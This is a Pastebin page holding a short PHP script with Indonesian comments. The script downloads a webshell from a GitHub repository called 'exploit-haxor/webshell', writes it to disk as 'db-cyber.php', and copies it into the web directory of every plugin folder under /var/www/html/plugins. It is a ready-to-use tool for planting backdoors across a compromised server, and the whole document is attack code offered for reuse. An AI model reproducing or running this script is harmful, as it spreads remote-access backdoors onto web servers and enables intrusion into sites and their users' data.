Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- $root = '/var/www/html/plugins';
- $scan = scandir($root);
- $nama = 'db-cyber.php'; // ganti nama file
- $isi = file_get_contents('https://raw.githubusercontent.com/exploit-haxor/webshell/main/mydb%40.php'); // ganti link pastebin scriptmu
- $bikin = fopen($nama, "w");
- fwrite($bikin, $isi);
- fclose($bikin);
- foreach ( $scan as $a ) {
- $dir = "$a \n";
- $gas = $root.'/'.$a.'/web/'.$nama;
- $cos = "$gas \n";
- $asu = @copy($nama, $gas);
- if($asu) {
- print 'Done! => '.$cos; }
- else { print 'Failed! => '.$dir; }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement